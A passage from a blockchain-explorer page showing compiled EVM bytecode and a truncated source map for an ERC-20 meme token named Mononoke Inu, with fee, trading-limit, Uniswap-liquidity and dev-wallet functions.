31215611c37575f5ffd5b815161167c81611a67565b5f60208284031215611c52575f5ffd5b5051919050565b808201808211156104e9576104e9611ac5565b5f60018201611c7d57611c7d611ac5565b5060010190565b818103818111156104e9576104e9611ac5565b5f82611cb157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611d1a5783516001600160a01b0316835260209384019390920191600101611cf3565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122099a4aee77cfb158d121df36a8aa60e2d05d27715d806932c4fdacb01e0107ef064736f6c634300081c0033

Deployed Bytecode

0x608060405260043610610134575f3560e01c80637d1db4a5116100a8578063a9059cbb1161006d578063a9059cbb1461034a578063b70143c914610369578063bf474bed14610388578063dd62ed3e1461039d578063ec1f3f63146103e1578063f945abd514610400575f5ffd5b80637d1db4a5146102ab5780638cd4426d146102c05780638da5cb5b146102df5780638f9a55c01461030557806395d89b411461031a575f5ffd5b806323b872dd116100f957806323b872dd14610201578063293230b814610220578063313ce5671461023457806369e1ea7f1461024f57806370a0823114610263578063715018a614610297575f5ffd5b80630106aaef1461013f57806306fdde0314610155578063095ea7b31461019b5780630faee56f146101ca57806318160ddd146101ed575f5ffd5b3661013b57005b5f5ffd5b34801561014a575f5ffd5b5061015361041f565b005b348015610160575f5ffd5b5060408051808201909152600c81526b4d6f6e6f6e6f6b6520496e7560a01b60208201525b604051610192919061194a565b60405180910390f35b3480156101a6575f5ffd5b506101ba6101b5366004611996565b6104d9565b6040519015158152602001610192565b3480156101d5575f5ffd5b506101df60105481565b604051908152602001610192565b3480156101f8575f5ffd5b506101df6104ef565b34801561020c575f5ffd5b506101ba61021b3660046119c0565b61050f565b34801561022b575f5ffd5b50610153610576565b34801561023f575f5ffd5b5060405160098152602001610192565b34801561025a575f5ffd5b50610153610c16565b34801561026e575f5ffd5b506101df61027d3660046119fe565b6001600160a01b03165f9081526002602052604090205490565b3480156102a2575f5ffd5b50610153610c44565b3480156102b6575f5ffd5b506101df600d5481565b3480156102cb575f5ffd5b506101536102da366004611996565b610cb5565b3480156102ea575f5ffd5b505f546040516001600160a01b039091168152602001610192565b348015610310575f5ffd5b506101df600e5481565b348015610325575f5ffd5b506040805180820190915260088152674d4f4e4f4e4f4b4560c01b6020820152610185565b348015610355575f5ffd5b506101ba610364366004611996565b610ddf565b348015610374575f5ffd5b50610153610383366004611a19565b610deb565b348015610393575f5ffd5b506101df600f5481565b3480156103a8575f5ffd5b506101df6103b7366004611a30565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156103ec575f5ffd5b506101536103fb366004611a19565b610e44565b34801561040b575f5ffd5b5061015361041a366004611a74565b610e89565b5f546001600160a01b031633146104515760405162461bcd60e51b815260040161044890611a90565b60405180910390fd5b61045d6009600a611bbc565b61046b90633b9aca00611bca565b600d5561047a6009600a611bbc565b61048890633b9aca00611bca565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104b86009600a611bbc565b6104c690633b9aca00611bca565b60405190815260200160405180910390a1565b5f6104e5338484610ec9565b5060015b92915050565b5f6104fc6009600a611bbc565b61050a90633b9aca00611bca565b905090565b5f61051b848484610fed565b61056c843361056785604051806060016040528060288152602001611d3b602891396001600160a01b038a165f90815260016020908152604080832033845290915290205491906115c6565b610ec9565b5060019392505050565b5f546001600160a01b0316331461059f5760405162461bcd60e51b815260040161044890611a90565b601254600160a01b900460ff16156105f95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610448565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106429030906106346009600a611bbc565b61056790633b9aca00611bca565b6011546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610689573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ad9190611be1565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072f9190611be1565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610777573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079b9190611be1565b6001600160a01b0316036109315760115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f9573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081d9190611be1565b6001600160a01b031663c9c6539660115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561087b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089f9190611be1565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af11580156108e8573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061090c9190611be1565b601280546001600160a01b0319166001600160a01b0392909216919091179055610ab4565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610981573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a59190611be1565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a03573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a279190611be1565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610a6f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a939190611be1565b601280546001600160a01b0319166001600160a01b03929092169190911790555b6011546001600160a01b031663f305d7194730610ae5816001600160a01b03165f9081526002602052604090205490565b5f5f610af85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b5e573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b839190611bfc565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610bd8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bfc9190611c27565b506012805462ff00ff60a01b19166201000160a01b179055565b6012805460ff60b81b191690556004546001600160a01b0316336001600160a01b031614610c42575f5ffd5b565b5f546001600160a01b03163314610c6d5760405162461bcd60e51b815260040161044890611a90565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610cde5760405162461bcd60e51b815260040161044890611a90565b6040516370a0823160e01b81523060048201525f90610d5f90606490610d599085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610d2f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d539190611c42565b906115fe565b90611683565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af1158015610db5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dd99190611c27565b50505050565b5f6104e5338484610fed565b6004546001600160a01b0316336001600160a01b031614610e0a575f5ffd5b5f81118015610e225750601254600160b01b900460ff165b15610e3057610e30816116c4565b478015610e4057610e4081611834565b5050565b6004546001600160a01b0316336001600160a01b031614610e63575f5ffd5b6007548111158015610e7757506008548111155b610e7f575f5ffd5b6007819055600855565b6004546001600160a01b0316336001600160a01b031614610ea8575f5ffd5b60155560128054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610f2b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610448565b6001600160a01b038216610f8c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610448565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166110515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610448565b6001600160a01b0382166110b35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610448565b5f81116111145760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610448565b5f546001600160a01b0384811691161480159061113e57505f546001600160a01b03838116911614155b801561115857506004546001600160a01b03838116911614155b801561116d5750601254600160b81b900460ff165b1561146657600c545f036111a6576111a26064610d59600954600c5410156111975760055461119b565b6007545b84906115fe565b6015555b6012546001600160a01b0384811691161480156111d157506011546001600160a01b03838116911614155b80156111f557506001600160a01b0382165f9081526003602052604090205460ff16155b156112fa57600d5481111561124c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610448565b600e548161126e846001600160a01b03165f9081526002602052604090205490565b6112789190611c59565b11156112c65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610448565b6112e26064610d59600954600c5410156111975760055461119b565b601555600c8054905f6112f483611c6c565b91905055505b6012546001600160a01b03838116911614801561132057506001600160a01b0383163014155b1561134f5761134b6064610d59600a54600c5410156113415760065461119b565b60085484906115fe565b6015555b305f90815260026020526040902054601254600160a81b900460ff1615801561138557506012546001600160a01b038481169116145b801561139a5750601254600160b01b900460ff165b80156113a75750600f5481115b80156113b75750600b54600c5410155b15611464576014544311156113cb575f6013555b60036013541061141d5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610448565b61143a611435836114308460105461186b565b61186b565b6116c4565b47801561144a5761144a47611834565b60138054905f61145983611c6c565b909155505043601455505b505b601554156114fe57601554305f908152600260205260409020546114899161187f565b305f90815260026020526040902055601254600160b81b900460ff166114ae575f6015555b306001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6015546040516114f591815260200190565b60405180910390a35b6001600160a01b0383165f9081526002602052604090205461152090826118dd565b6001600160a01b0384165f908152600260205260409020556015546115689061154a9083906118dd565b6001600160a01b0384165f908152600260205260409020549061187f565b6001600160a01b038084165f81815260026020526040902092909255601554908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115b89085906118dd565b604051908152602001610fe0565b5f81848411156115e95760405162461bcd60e51b8152600401610448919061194a565b505f6115f58486611c84565b95945050505050565b5f825f0361160d57505f6104e9565b5f6116188385611bca565b9050826116258583611c97565b1461167c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610448565b9392505050565b5f61167c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061191e565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061170a5761170a611cb6565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611761573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117859190611be1565b8160018151811061179857611798611cb6565b6001600160a01b0392831660209182029290920101526011546117be9130911684610ec9565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906117f69085905f90869030904290600401611cca565b5f604051808303815f87803b15801561180d575f5ffd5b505af115801561181f573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610e40573d5f5f3e3d5ffd5b5f818311611879578261167c565b50919050565b5f8061188b8385611c59565b90508381101561167c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610448565b5f61167c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115c6565b5f818361193e5760405162461bcd60e51b8152600401610448919061194a565b505f6115f58486611c97565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611993575f5ffd5b50565b5f5f604083850312156119a7575f5ffd5b82356119b28161197f565b946020939093013593505050565b5f5f5f606084860312156119d2575f5ffd5b83356119dd8161197f565b925060208401356119ed8161197f565b929592945050506040919091013590565b5f60208284031215611a0e575f5ffd5b813561167c8161197f565b5f60208284031215611a29575f5ffd5b5035919050565b5f5f60408385031215611a41575f5ffd5b8235611a4c8161197f565b91506020830135611a5c8161197f565b809150509250929050565b8015158114611993575f5ffd5b5f5f60408385031215611a85575f5ffd5b82356119b281611a67565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611b1457808504811115611af857611af8611ac5565b6001841615611b0657908102905b60019390931c928002611add565b935093915050565b5f82611b2a575060016104e9565b81611b3657505f6104e9565b8160018114611b4c5760028114611b5657611b72565b60019150506104e9565b60ff841115611b6757611b67611ac5565b50506001821b6104e9565b5060208310610133831016604e8410600b8410161715611b95575081810a6104e9565b611ba15f198484611ad9565b805f1904821115611bb457611bb4611ac5565b029392505050565b5f61167c60ff841683611b1c565b80820281158282048414176104e9576104e9611ac5565b5f60208284031215611bf1575f5ffd5b815161167c8161197f565b5f5f5f60608486031215611c0e575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611c37575f5ffd5b815161167c81611a67565b5f60208284031215611c52575f5ffd5b5051919050565b808201808211156104e9576104e9611ac5565b5f60018201611c7d57611c7d611ac5565b5060010190565b818103818111156104e9576104e9611ac5565b5f82611cb157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611d1a5783516001600160a01b0316835260209384019390920191600101611cf3565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122099a4aee77cfb158d121df36a8aa60e2d05d27715d806932c4fdacb01e0107ef064736f6c634300081c0033

Deployed Bytecode Sourcemap

3971:9000:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10079:161;;;;;;;;;;;;;:::i;:::-;;5938:83;;;;;;;;;;-1:-1:-1;6008:5:0;;;;;;;;;;;;-1:-1:-1;;;6008:5:0;;;;5938:83;;;;;;;:::i;:::-;;;;;;;;6771:161;;;;;;;;;;-1:-1:-1;6771:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6771:161:0;945:187:1;5026:50:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;5026:50:0;1137:177:1;6215:95:0;;;;;;;;;;;;;:::i;6940:313::-;;;;;;;;;;-1:-1:-1;6940:313:0;;;;;:::i;:::-;;:::i;10674:953::-;;;;;;;;;;;;;:::i;6124:83::-;;;;;;;;;;-1:-1:-1;6124:83:0;;4656:1;1974:36:1;;1962:2;1947:18;6124:83:0;1832:184:1;10248:116:0;;;;;;;;;;;;;:::i;6318:119::-;;;;;;;;;;-1:-1:-1;6318:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6411:18:0;6384:7;6411:18;;;:9;:18;;;;;;;6318:119;2283:148;;;;;;;;;;;;;:::i;4853:47::-;;;;;;;;;;;;;;;;12398:232;;;;;;;;;;-1:-1:-1;12398:232:0;;;;;:::i;:::-;;:::i;2069:79::-;;;;;;;;;;-1:-1:-1;2107:7:0;2134:6;2069:79;;-1:-1:-1;;;;;2134:6:0;;;2419:51:1;;2407:2;2392:18;2069:79:0;2273:203:1;4907:49:0;;;;;;;;;;;;;;;;6029:87;;;;;;;;;;-1:-1:-1;6101:7:0;;;;;;;;;;;;-1:-1:-1;;;6101:7:0;;;;6029:87;;6445:167;;;;;;;;;;-1:-1:-1;6445:167:0;;;;;:::i;:::-;;:::i;12638:330::-;;;;;;;;;;-1:-1:-1;12638:330:0;;;;;:::i;:::-;;:::i;4963:56::-;;;;;;;;;;;;;;;;6620:143;;;;;;;;;;-1:-1:-1;6620:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6728:18:0;;;6701:7;6728:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6620:143;12126:227;;;;;;;;;;-1:-1:-1;12126:227:0;;;;;:::i;:::-;;:::i;10372:192::-;;;;;;;;;;-1:-1:-1;10372:192:0;;;;;:::i;:::-;;:::i;10079:161::-;2196:6;;-1:-1:-1;;;;;2196:6:0;579:10;2196:22;2188:67;;;;-1:-1:-1;;;2188:67:0;;;;;;;:::i;:::-;;;;;;;;;4715:13:::1;4656:1;4715:2;:13;:::i;:::-;4699:29;::::0;:13:::1;:29;:::i;:::-;10134:12;:22:::0;4715:13:::1;4656:1;4715:2;:13;:::i;:::-;4699:29;::::0;:13:::1;:29;:::i;:::-;10167:14;:22:::0;10205:27:::1;4715:13;4656:1;4715:2;:13;:::i;:::-;4699:29;::::0;:13:::1;:29;:::i;:::-;10205:27;::::0;1283:25:1;;;1271:2;1256:18;10205:27:0::1;;;;;;;10079:161::o:0;6771:::-;6846:4;6863:39;579:10;6886:7;6895:6;6863:8;:39::i;:::-;-1:-1:-1;6920:4:0;6771:161;;;;;:::o;6215:95::-;6268:7;4715:13;4656:1;4715:2;:13;:::i;:::-;4699:29;;:13;:29;:::i;:::-;6288:14;;6215:95;:::o;6940:313::-;7038:4;7055:36;7065:6;7073:9;7084:6;7055:9;:36::i;:::-;7102:121;7111:6;579:10;7133:89;7171:6;7133:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7133:19:0;;;;;;:11;:19;;;;;;;;579:10;7133:33;;;;;;;;;;:37;:89::i;:::-;7102:8;:121::i;:::-;-1:-1:-1;7241:4:0;6940:313;;;;;:::o;10674:953::-;2196:6;;-1:-1:-1;;;;;2196:6:0;579:10;2196:22;2188:67;;;;-1:-1:-1;;;2188:67:0;;;;;;;:::i;:::-;10739:11:::1;::::0;-1:-1:-1;;;10739:11:0;::::1;;;10738:12;10730:47;;;::::0;-1:-1:-1;;;10730:47:0;;5894:2:1;10730:47:0::1;::::0;::::1;5876:21:1::0;5933:2;5913:18;;;5906:30;5972:25;5952:18;;;5945:53;6015:18;;10730:47:0::1;5692:347:1::0;10730:47:0::1;10788:15;:80:::0;;-1:-1:-1;;;;;;10788:80:0::1;10825:42;10788:80:::0;;::::1;::::0;;;10879:58:::1;::::0;10896:4:::1;::::0;4715:13:::1;4656:1;4715:2;:13;:::i;:::-;4699:29;::::0;:13:::1;:29;:::i;10879:58::-;10970:15;::::0;:25:::1;::::0;;-1:-1:-1;;;10970:25:0;;;;11055:1:::1;::::0;-1:-1:-1;;;;;10970:15:0::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:15;:25:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10952:52:0::1;;11005:15;;;;;;;;;-1:-1:-1::0;;;;;11005:15:0::1;-1:-1:-1::0;;;;;11005:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10952:91;::::0;-1:-1:-1;;;;;;10952:91:0::1;::::0;;;;;;-1:-1:-1;;;;;6492:32:1;;;10952:91:0::1;::::0;::::1;6474:51:1::0;11037:4:0::1;6541:18:1::0;;;6534:60;6447:18;;10952:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10952:105:0::1;::::0;10948:392:::1;;11112:15;;;;;;;;;-1:-1:-1::0;;;;;11112:15:0::1;-1:-1:-1::0;;;;;11112:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11094:55:0::1;;11150:15;;;;;;;;;-1:-1:-1::0;;;;;11150:15:0::1;-1:-1:-1::0;;;;;11150:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11094:94;::::0;-1:-1:-1;;;;;;11094:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6492:32:1;;;11094:94:0::1;::::0;::::1;6474:51:1::0;11182:4:0::1;6541:18:1::0;;;6534:60;6447:18;;11094:94:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11078:13;:110:::0;;-1:-1:-1;;;;;;11078:110:0::1;-1:-1:-1::0;;;;;11078:110:0;;;::::1;::::0;;;::::1;::::0;;10948:392:::1;;;11255:15;;;;;;;;;-1:-1:-1::0;;;;;11255:15:0::1;-1:-1:-1::0;;;;;11255:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11237:52:0::1;;11290:15;;;;;;;;;-1:-1:-1::0;;;;;11290:15:0::1;-1:-1:-1::0;;;;;11290:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11237:91;::::0;-1:-1:-1;;;;;;11237:91:0::1;::::0;;;;;;-1:-1:-1;;;;;6492:32:1;;;11237:91:0::1;::::0;::::1;6474:51:1::0;11322:4:0::1;6541:18:1::0;;;6534:60;6447:18;;11237:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11221:13;:107:::0;;-1:-1:-1;;;;;;11221:107:0::1;-1:-1:-1::0;;;;;11221:107:0;;;::::1;::::0;;;::::1;::::0;;10948:392:::1;11350:15;::::0;-1:-1:-1;;;;;11350:15:0::1;:31;11389:21;11420:4;11426:24;11420:4:::0;-1:-1:-1;;;;;6411:18:0;6384:7;6411:18;;;:9;:18;;;;;;;6318:119;11426:24:::1;11451:1;11453;11455:7;2107::::0;2134:6;-1:-1:-1;;;;;2134:6:0;;2069:79;11455:7:::1;11350:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11350:129:0;;;-1:-1:-1;;;;;6926:32:1;;;11350:129:0::1;::::0;::::1;6908:51:1::0;6975:18;;;6968:34;;;;7018:18;;;7011:34;;;;7061:18;;;7054:34;7125:32;;;7104:19;;;7097:61;11463:15:0::1;7174:19:1::0;;;7167:35;6880:19;;11350:129:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11497:13:0::1;::::0;11528:15:::1;::::0;11490:71:::1;::::0;-1:-1:-1;;;11490:71:0;;-1:-1:-1;;;;;11528:15:0;;::::1;11490:71;::::0;::::1;7848:51:1::0;-1:-1:-1;;7915:18:1;;;7908:34;11497:13:0;::::1;::::0;-1:-1:-1;11490:29:0::1;::::0;7821:18:1;;11490:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11572:11:0::1;:18:::0;;-1:-1:-1;;;;11601:18:0;-1:-1:-1;;;11601:18:0;;;10674:953::o;10248:116::-;10290:14;:22;;-1:-1:-1;;;;10290:22:0;;;10345:10;;-1:-1:-1;;;;;10345:10:0;579;-1:-1:-1;;;;;10331:24:0;;10323:33;;;;;;10248:116::o;2283:148::-;2196:6;;-1:-1:-1;;;;;2196:6:0;579:10;2196:22;2188:67;;;;-1:-1:-1;;;2188:67:0;;;;;;;:::i;:::-;2390:1:::1;2374:6:::0;;2353:40:::1;::::0;-1:-1:-1;;;;;2374:6:0;;::::1;::::0;2353:40:::1;::::0;2390:1;;2353:40:::1;2421:1;2404:19:::0;;-1:-1:-1;;;;;;2404:19:0::1;::::0;;2283:148::o;12398:232::-;2196:6;;-1:-1:-1;;;;;2196:6:0;579:10;2196:22;2188:67;;;;-1:-1:-1;;;2188:67:0;;;;;;;:::i;:::-;12502:41:::1;::::0;-1:-1:-1;;;12502:41:0;;12537:4:::1;12502:41;::::0;::::1;2419:51:1::0;12484:15:0::1;::::0;12502:63:::1;::::0;12561:3:::1;::::0;12502:54:::1;::::0;12548:7;;-1:-1:-1;;;;;12502:26:0;::::1;::::0;::::1;::::0;2392:18:1;;12502:41:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;12602:10;::::0;;12576:46:::1;::::0;-1:-1:-1;;;12576:46:0;;-1:-1:-1;;;;;12602:10:0;;::::1;12576:46:::0;;::::1;7848:51:1::0;;;;7915:18;;;7908:34;;;12484:81:0;;-1:-1:-1;12576:25:0;;::::1;::::0;::::1;::::0;7821:18:1;;12576:46:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12473:157;12398:232:::0;;:::o;6445:167::-;6523:4;6540:42;579:10;6564:9;6575:6;6540:9;:42::i;12638:330::-;12721:10;;-1:-1:-1;;;;;12721:10:0;579;-1:-1:-1;;;;;12707:24:0;;12699:33;;;;;;12758:1;12746:11;:13;:28;;;;-1:-1:-1;12763:11:0;;-1:-1:-1;;;12763:11:0;;;;12746:28;12743:88;;;12790:29;12807:11;12790:16;:29::i;:::-;12860:21;12895:12;;12892:69;;12923:26;12938:10;12923:14;:26::i;:::-;12688:280;12638:330;:::o;12126:227::-;12204:10;;-1:-1:-1;;;;;12204:10:0;579;-1:-1:-1;;;;;12190:24:0;;12182:33;;;;;;12243:12;;12234:7;:21;;:47;;;;;12268:13;;12259:7;:22;;12234:47;12226:56;;;;;;12293:12;:20;;;12324:13;:21;12126:227::o;10372:192::-;10477:10;;-1:-1:-1;;;;;10477:10:0;579;-1:-1:-1;;;;;10463:24:0;;10455:33;;;;;;10499:9;:25;10535:11;:21;;;;;-1:-1:-1;;;10535:21:0;-1:-1:-1;;;;10535:21:0;;;;;;;;;10372:192::o;7261:335::-;-1:-1:-1;;;;;7354:19:0;;7346:68;;;;-1:-1:-1;;;7346:68:0;;8927:2:1;7346:68:0;;;8909:21:1;8966:2;8946:18;;;8939:30;9005:34;8985:18;;;8978:62;-1:-1:-1;;;9056:18:1;;;9049:34;9100:19;;7346:68:0;8725:400:1;7346:68:0;-1:-1:-1;;;;;7433:21:0;;7425:68;;;;-1:-1:-1;;;7425:68:0;;9332:2:1;7425:68:0;;;9314:21:1;9371:2;9351:18;;;9344:30;9410:34;9390:18;;;9383:62;-1:-1:-1;;;9461:18:1;;;9454:32;9503:19;;7425:68:0;9130:398:1;7425:68:0;-1:-1:-1;;;;;7504:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7556:32;;1283:25:1;;;7556:32:0;;1256:18:1;7556:32:0;;;;;;;;7261:335;;;:::o;7604:2359::-;-1:-1:-1;;;;;7692:18:0;;7684:68;;;;-1:-1:-1;;;7684:68:0;;9735:2:1;7684:68:0;;;9717:21:1;9774:2;9754:18;;;9747:30;9813:34;9793:18;;;9786:62;-1:-1:-1;;;9864:18:1;;;9857:35;9909:19;;7684:68:0;9533:401:1;7684:68:0;-1:-1:-1;;;;;7771:16:0;;7763:64;;;;-1:-1:-1;;;7763:64:0;;10141:2:1;7763:64:0;;;10123:21:1;10180:2;10160:18;;;10153:30;10219:34;10199:18;;;10192:62;-1:-1:-1;;;10270:18:1;;;10263:33;10313:19;;7763:64:0;9939:399:1;7763:64:0;7855:1;7846:6;:10;7838:64;;;;-1:-1:-1;;;7838:64:0;;10545:2:1;7838:64:0;;;10527:21:1;10584:2;10564:18;;;10557:30;10623:34;10603:18;;;10596:62;-1:-1:-1;;;10674:18:1;;;10667:39;10723:19;;7838:64:0;10343:405:1;7838:64:0;2107:7;2134:6;-1:-1:-1;;;;;7919:15:0;;;2134:6;;7919:15;;;;:32;;-1:-1:-1;2107:7:0;2134:6;-1:-1:-1;;;;;7938:13:0;;;2134:6;;7938:13;;7919:32;:52;;;;-1:-1:-1;7961:10:0;;-1:-1:-1;;;;;7955:16:0;;;7961:10;;7955:16;;7919:52;:70;;;;-1:-1:-1;7975:14:0;;-1:-1:-1;;;7975:14:0;;;;7919:70;7915:1640;;;8011:9;;8022:1;8011:12;8008:140;;8055:77;8128:3;8055:68;8078:15;;8067:9;;:26;;8066:56;;8108:14;;8066:56;;;8095:12;;8066:56;8055:6;;:10;:68::i;:77::-;8043:9;:89;8008:140;8176:13;;-1:-1:-1;;;;;8168:21:0;;;8176:13;;8168:21;:55;;;;-1:-1:-1;8207:15: